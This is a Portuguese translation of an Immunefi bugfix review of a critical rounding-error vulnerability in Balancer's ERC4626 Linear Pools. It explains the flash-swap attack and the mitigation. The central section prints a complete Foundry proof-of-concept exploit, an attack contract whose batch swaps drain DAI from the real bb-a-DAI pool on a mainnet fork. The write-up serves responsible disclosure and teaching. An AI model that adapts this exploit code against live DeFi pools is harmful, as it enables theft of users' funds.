WEB3DEV

Cover image for Revisão do Erro de Arredondamento no Bugfix do Protocolo Balancer
Isabela Curado Nehme
Isabela Curado Nehme

Posted on

Revisão do Erro de Arredondamento no Bugfix do Protocolo Balancer

https://miro.medium.com/v2/resize:fit:720/format:webp/1*Xp8CFTjMjV33pfQlWhPIqg.png

Resumo

Em 11 de agosto de 2023, o hacker White Hat (hacker ético) GothicShanon89238 enviou uma vulnerabilidade crítica ao Balancer via Immunefi, que consistia em um erro de arredondamento de ERC4626LinearPools combinado com flashSwap. No momento do envio, todo o valor em Boosted Pools poderia ser drenado pelo ataque, que era 20% do TVL de 1 bilhão de dólares do Balancer na época.

O Balancer rapidamente tomou medidas para corrigir o bug após receber o relatório de GothicShanon89238. Tanto o Balancer quanto o White Hat colaboraram em uma solução eficaz para mitigar a vulnerabilidade, executando todas as medidas de mitigação possíveis, divulgando a vulnerabilidade e fornecendo uma interface de usuário para retiradas simplificadas. A grande maioria dos fundos em risco foi retirada em 48 horas.

O Balancer pagou uma recompensa de 1.000.000 USDC ao White Hat pelo bug, que poderia ter resultado na drenagem de fundos dos cofres combináveis. Essa recompensa é a recompensa mais alta que o Balancer já concedeu. A postagem do blog do Balancer sobre a vulnerabilidade, publicada em 14 de setembro, está disponível aqui.

A Immunefi tem o prazer de ter facilitado essa divulgação responsável com a nossa plataforma. Nosso objetivo é tornar a Web3 mais segura, incentivando os hackers a divulgar bugs de maneira responsável e receber dinheiro limpo e reputação em troca.

O que é o Balancer?

O Balancer é um formador de mercado automatizado (AMM) descentralizado que foi projetado para ser um bloco de construção flexível para liquidez programável. O Balancer se torna um AMM extensível que pode incorporar qualquer número de curvas de swap (troca) e tipos de pool, separando a lógica e a matemática da curva AMM da funcionalidade de swap principal. Os usuários podem trocar entre qualquer token ERC20, os provedores de liquidez (LPs) podem adicionar liquidez aos pools para ganhar taxas, os arbitradores podem tirar proveito das diferenças de preço entre os pools e os detentores de tokens BAL podem bloquear seus tokens no veBAL e participar da governança no ecossistema Balancer. .

Equilibrando a Mecânica do Mercado

Os cofres V2 do Balancer visam aumentar a eficiência do capital utilizando tokens “ociosos” que existem em pools. Os provedores de liquidez recebem um token líquido em troca de se juntarem a pools de liquidez, chamados Balancer Pool Tokens (BPT), e queimam esses tokens ao sair de um pool para retirar seus ativos originais. Os pools são inicializados com uma grande parte dos BPT recém-cunhados para fornecer liquidez para swap no ativo. Uma coisa importante a ser observada para mais tarde entender a vulnerabilidade principal é que o swap, dentro ou fora do BPT, é considerado o mesmo que uma entrada (ou junção)/saída para provedores de liquidez. Os swaps de lote podem contornar qualquer proteção de reentrância, uma vez que as entradas e saídas podem ser executadas como swaps de BPT.

A liquidez profunda é incentivada e boa para os formadores de mercado automatizados, pois diminui o impacto nos preços dos swaps dos usuários. No entanto, normalmente, uma grande percentagem de ativos utilizados para diminuir o impacto dos preços nunca é utilizada para um swap. O Balancer identificou isso e procurou corrigir o problema em seus cofres V2, introduzindo gestores de ativos. Os gestores de ativos lidam com o equilíbrio de tokens em um pool para suportar o volume comercial esperado e alocam uma parte dos tokens ociosos para produzir de yield farming (cultivo de rendimento). Os provedores de liquidez obtêm rendimento com os tokens ociosos gerenciados depositados em protocolos de geração de rendimento, incentivando os usuários a fornecer mais liquidez aos pools. Os swappers negociam com impacto mínimo no preço, uma vez que o pool opera como se tivesse saldo total de liquidez.

Linear Pools (Pools Lineares)

Dentro do ecossistema Balancer, os Pools Lineares servem como plataformas onde os ativos e suas correspondentes versões envoltas em rendimento podem ser negociados a uma taxa de câmbio fixa, que pode ser calculada ou obtida por meio de consultas. Esses pools são estrategicamente elaborados tendo em mente faixas-alvo específicas, com o objetivo de incentivar a distribuição ideal do token nativo para swaps em comparação com a contraparte com rendimento. Os pools são inicializados com BPT, onde a propriedade do pool é rastreada pelos detentores do BPT. Os Pools Lineares permitem que o usuário negocie diretamente no BPT, sem necessidade de entradas ou saídas.

Para manter o equilíbrio desejado entre os dois tipos de tokens, os Pools Lineares implementam um sistema de taxa/recompensa que atua como um incentivo para os arbitradores. Esses pools fazem uso de matemática linear e desempenham um papel fundamental como componente fundamental dentro da estrutura dos Boosted Pools (Pools Dinamizados). A matemática linear foi concebida com o objetivo de simplificar as trocas de ativos entre os próprios ativos e suas contrapartes agrupadas e com rendimento. O mecanismo de taxa/recompensa para incentivar os arbitradores a manter uma proporção desejada entre os dois tokens faz com que os swaps que desequilibram o pool paguem uma taxa mais alta, mas, desde que o swap mantenha o equilíbrio do pool dentro de uma determinada janela, não há taxas. Incentivar os usuários a manter uma proporção alvo desses ativos por meio de taxas e recompensas funciona como uma forma de automatizar o gerenciamento de ativos por meio de incentivos.

Pools até o Fim

Como os próprios BPT são tokens ERC20, os Pools Lineares de BPT podem ser aninhados em outros pools. O aninhamento cria um caminho para os swappers trocarem em lote tokens do pool externo para aqueles do pool interno por meio do BPT. Essa funcionalidade permite que os swappers negociem seu BPT por um dos tokens subjacentes dentro do pool aninhado. A capacidade de composição é fundamental na utilização de Pools Lineares para substituir a necessidade de intervenção manual de gestores de ativos em um pool para manter o equilíbrio ideal de tokens geradores de rendimento em Pools Dinamizados. Permitir que os pools sejam aninhados possibilitando a criação de pools de nível superior que utilizam todas as vantagens do pool subjacente, ao mesmo tempo que facilitam as trocas entre outro ativo.

Boosted Pools (Pools Dinamizados)

Pools Dinamizados são construídos com base em Pools Lineares. Pools Dinamizados são pools que contêm Pools Lineares como seus ativos. Como os Pools Lineares encaminham automaticamente tokens ociosos para protocolos externos de geração de rendimento, os swappers obtêm acesso à liquidez profunda e os provedores de liquidez geram rendimento com base na liquidez que fornecem. Melhor ainda, como todos os pools são construídos no mesmo token BPT fundamental, isso significa que os usuários podem trocar qualquer token gerador de rendimento em um pool diretamente por um token subjacente dentro de um Pool Linear.

Um exemplo disso é o Composable Stable Pool bb-a-USD. Esse pool facilita o swap de USDC, USDT e DAI enquanto envia liquidez para a Aave. O pool bb-a-USD é composto por três Pools Lineares subjacentes, bb-a-USDC, bb-a-USDT e bb-a-DAI. Esses pools subjacentes facilitam os swaps entre cada stablecoin e o respectivo token gerador de rendimento, mas, quando combinados no pool Boosted Aave USD, podem facilitar os swaps entre qualquer token gerador de rendimento (aUSDC, aUSDT e aDAI) e seu valor equivalente de qualquer ativo de base subjacente (USDC, USDT e DAI).

https://miro.medium.com/v2/resize:fit:720/0*TIxTqYILyTr4-f5s

Análise de Vulnerabilidade

O hacker GothicShanon89238 relatou uma vulnerabilidade ao Balancer que descrevia um problema com o mecanismo de swap 1:1 entre o token subjacente e o token empacotado em ERC4626LinearPools. Devido a um erro de arredondamento, quando um usuário tenta trocar 1 wei do token empacotado, o pool deduz apenas 1 wei do token subjacente. Como o token empacotado possui um valor mais alto em comparação com os ativos subjacentes, o valor está sendo extraído do pool. Isso, por si só, pode não parecer inicialmente uma questão crítica, já que as taxas de gás e swap normalmente impedirão que qualquer lucro seja extraído por um atacante. No entanto, uma série de condições perfeitamente alinhadas fez com que os Pools Lineares fossem criticamente afetados.

A primeira condição é que os Pools Lineares permitam a execução de flash swaps (swaps relâmpago). Os flash swaps são muito semelhantes aos flash loans (empréstimos relâmpago), na medida em que permitem a um arbitrador que descobre uma discrepância de preços entre pools lucrar com um swap que os equilibra, sem necessidade de deter qualquer capital inicial. Essa funcionalidade é habilitada por meio de swaps em lote que “liquidam no final”.

A segunda condição é que os Pools Lineares não tenham taxas quando balanceados. Isso permitiria que um atacante realizasse quantos swaps quisesse gratuitamente, desde que mantivesse o equilíbrio entre os tokens dentro da janela de destino.

A condição final era que os Pools Lineares fossem inicializados com um saldo muito grande de BPT. Isso significava que um atacante poderia pegar emprestado uma quantia essencialmente ilimitada de BPT para executar o ataque.

Essas três condições combinadas permitem que um atacante execute o seguinte ataque em um Pool Linear e poderia ter permitido que drenasse todo o valor em Pools Dinamizados:

  1. Executar um flash swap em um Pool Linear usando BPT para negociar os tokens principais e empacotados, reduzindo significativamente o fornecimento total de cada um para próximo de 0.
  2. Realizar múltiplos swaps com GivenOut entre o subjacente e o empacotado, o que aproveita o erro de arredondamento para diminuir o saldo total sem afetar a oferta. A taxa é calculada como taxa = saldo/oferta, então isso reduz a taxa abaixo de 1.
  3. Reembolsar o BPT flash swap negociando o token subjacente a uma taxa mais baixa do que quando foi emprestado.

Proof of Concept (PoC ou Prova de Conceito)

A PoC a seguir demonstra um ataque ao Pool Linear bb-a-DAI do Balancer. Ao executar a função swapDecrease várias vezes, o teste demonstra uma versão simplificada do ataque, resultando no roubo de 320.891 DAI em uma única transação, sem necessidade de capital inicial. A versão completa pode ser encontrada em https://github.com/immunefi-team/bugfix-reviews-pocs/tree/main/src/Balancer/rounding-error-aug2023.

As etapas para usar esta PoC são as seguintes:

  1. Instale o framework Foundry em https://github.com/foundry-rs/foundry.
  2. Clone o repositório de revisão de Bugfix da Immunefi: git clone https://github.com/immunefi-team/bugfix-reviews-pocs.git.
  3. Execute o seguinte comando para executar a PoC: forge test -vvv — match-path ./test/Balancer/rounding-error-aug2023/BalancerPoC.sol.

https://miro.medium.com/v2/resize:fit:720/0*Y1OH9QOu1pHFGZTF

BalancerPoC.sol


// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

import "@immunefi/src/PoC.sol";

import "../src/AttackContract.sol";

contract BalancerPoCTest is PoC {

    AttackContract public attackContract;

    IERC20[] tokens;

    address bbaDAI = 0xfa24A90A3F2bBE5FEEA92B95cD0d14Ce709649f9;

    function setUp() public {

        // Fork (bifurcação) a partir de uma cadeia de blocos especificada no bloco        vm.createSelectFork("https://rpc.ankr.com/eth", 17893427);

        // Implanta o contrato de ataque

        attackContract = new AttackContract();

        // Tokens a serem restreados durante um Snapshot

        // e.g. tokens.push(EthereumTokens.USDC);

        tokens.push(IERC20(bbaDAI));

        tokens.push(EthereumTokens.DAI);

        setAlias(address(attackContract), "Attacker");

        console.log("\n>>> Initial conditions");

    }

    function testPoolWithNoWrappedToken() public snapshot(address(attackContract), tokens) {

        // não é necessário capital inicial

        console.log("Balancer aDAI rate before:", ComposableStablePool(bbaDAI).getRate());

        for (int256 i = 0; i < 500; i++) {

            attackContract.swapDecrease(bbaDAI);

        }

        console.log("Balancer aDAI rate after: ", ComposableStablePool(bbaDAI).getRate());

    }

}

Enter fullscreen mode Exit fullscreen mode

AttackContract.sol


// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

import "@immunefi/src/PoC.sol";

import "./interfaces/Vault.sol";

import "./interfaces/ComposableStablePool.sol";

import "./interfaces/AaveLinearPool.sol";

contract AttackContract is PoC {

    address vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;

    struct Balances {

        uint256 totalInitialUsd;

        uint256 finalBalance;

        uint256 usdcFinalBalance;

        uint256 daiFinalBalance;

        uint256 usdtFinalBalance;

        uint256 stgFinalBalance;

    }

    function getParameters(

        address pool,

        address asset,

        address wrappedToken,

        Vault.FundManagement memory funds,

        address[] memory assets,

        int256[] memory,

        /**

         * limits

         **/

        uint256 steps

    ) public returns (Vault.BatchSwapStep[] memory) {

        bytes32 poolId = ComposableStablePool(pool).getPoolId();

        // Para generalizar a façanha, precisamos colocar tudo em um batchSwap

        // Primeiro passo, se não existem tokens empacotados o suficiente no pool, nós queremos

        // fazer um swap "para" o token BPT "a partir do" token empacotado. Nesse caso, não precisamos

        // interagir com o próprio token empacotado.

        // Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](0);

        uint256 wrappedTokenBalance = getTokenBalance(pool, wrappedToken);

        uint256 newWrappedTokenBalance;

        if (wrappedTokenBalance < 1 ether) {

            Vault.BatchSwapStep[] memory _swaps = new Vault.BatchSwapStep[](1);

            _swaps[0] =

                Vault.BatchSwapStep({poolId: poolId, assetInIndex: 2, assetOutIndex: 0, amount: 1 ether, userData: ""});

            int256[] memory output = Vault(vault).queryBatchSwap(uint8(Vault.SwapKind.GIVEN_OUT), _swaps, assets, funds);

            newWrappedTokenBalance = uint256(output[2]);

        }

        uint256 assetTokenBalance = getTokenBalance(pool, asset);

        Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](steps + 5);

        swaps[0] = Vault.BatchSwapStep({

            poolId: poolId,

            assetInIndex: 2,

            assetOutIndex: 0,

            amount: 1 ether, // considera que não existe destino inferior

            userData: ""

        });

        swaps[1] = Vault.BatchSwapStep({

            poolId: poolId,

            assetInIndex: 0,

            assetOutIndex: 1,

            amount: assetTokenBalance, // considera que não existe destino inferior

            userData: ""

        });

        swaps[2] = Vault.BatchSwapStep({

            poolId: poolId,

            assetInIndex: 0,

            assetOutIndex: 2,

            amount: newWrappedTokenBalance - steps * 20, // considera que não existe destino inferior

            userData: ""

        });

        for (uint256 i = 0; i < steps; i++) {

            swaps[i + 3] =

                Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: 1, userData: ""});

        }

        swaps[steps + 3] = Vault.BatchSwapStep({

            poolId: poolId,

            assetInIndex: 1,

            assetOutIndex: 0,

            amount: getVirtualSupply(pool),

            userData: ""

        });

        swaps[steps + 4] =

            Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: steps * 19, userData: ""});

        return swaps;

    }

    function getTokenBalance(address pool, address token) public view returns (uint256 balance) {

        bytes32 poolId = ComposableStablePool(pool).getPoolId();

        (address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);

        for (uint256 i = 0; i < tokens.length; i++) {

            if (tokens[i] == token) {

                return balances[i];

            }

        }

    }

    function getVirtualSupply(address pool) public view returns (uint256) {

        uint256 totalSupply = IERC20(pool).totalSupply();

        bytes32 poolId = ComposableStablePool(pool).getPoolId();

        (address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);

        for (uint256 i = 0; i < tokens.length; i++) {

            if (tokens[i] == pool) {

                return totalSupply - balances[i];

            }

        }

        return 0;

    }

    function swapDecrease(address pool) public {

        address wrappedToken = AaveLinearPool(pool).getWrappedToken();

        address asset = AaveLinearPool(pool).getMainToken();

        Vault.FundManagement memory funds;

        address[] memory assets = new address[](3);

        int256[] memory limits = new int256[](3);

        {

            funds.sender = address(this);

            funds.fromInternalBalance = false;

            funds.recipient = address(this);

            funds.toInternalBalance = false;

            assets[0] = pool;

            assets[1] = asset;

            assets[2] = wrappedToken;

            limits[0] = 2 ** 128;

            limits[1] = 2 ** 128;

            limits[2] = 2 ** 128;

        }

        uint256 steps = 20;

        Vault.BatchSwapStep[] memory swaps = getParameters(pool, asset, wrappedToken, funds, assets, limits, steps);

        Vault(vault).batchSwap(Vault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp);

    }

}

Enter fullscreen mode Exit fullscreen mode

Correção de Vulnerabilidade

Os Composable Stable Pools V5 foram pausados ​​e colocados em modo de recuperação, de modo que os swaps foram desativados, mas os usuários ainda puderam sacar fundos. Os Pools Lineares não puderam ser pausados ​​pelo Balancer. No entanto, a maioria usou empacotadores de tokens atualizáveis, cujo código poderia ser substituído para bloquear os swaps, mas ainda permitir o desempacotamento direto.

O total de TVL em risco antes da mitigação era de 242 milhões de dólares, mas foi reduzido para 40 milhões de dólares após ação rápida da equipe do Balancer.

Para pools que não tinham modo de recuperação ou usavam empacotadores incompatíveis, os LPs foram notificados e estimulados a sair imediatamente, o que resultou na retirada de 95% de todos os LPs sem serem afetados.

Agradecimentos

Gostaríamos de agradecer ao hacker White Hat GothicShanon89238 por fazer um trabalho incrível ao divulgar com responsabilidade um bug tão importante e por ajudar a equipe do Balancer na mitigação da vulnerabilidade. O Balancer também fez um trabalho incrível identificando o melhor plano de mitigação, mesmo com acesso limitado de administrador aos pools afetados.

Se você é um desenvolvedor ou um White Hat considerando uma carreira lucrativa de caça a bugs na Web3 - esta mensagem é para você. Com recompensas de 10–100x maiores do que as comumente encontradas na Web2, seus esforços serão recompensados ​​exponencialmente ao mudar para a Web3.

Confira a Biblioteca de Segurança Web3 e comece a ganhar recompensas na Immunefi — a plataforma líder de recompensas de bugs para Web3 com os maiores pagamentos do mundo.

Este artigo foi escrito por Immunefi e traduzido por Isabela Curado Nehme. Seu original pode ser lido aqui.

Top comments (0)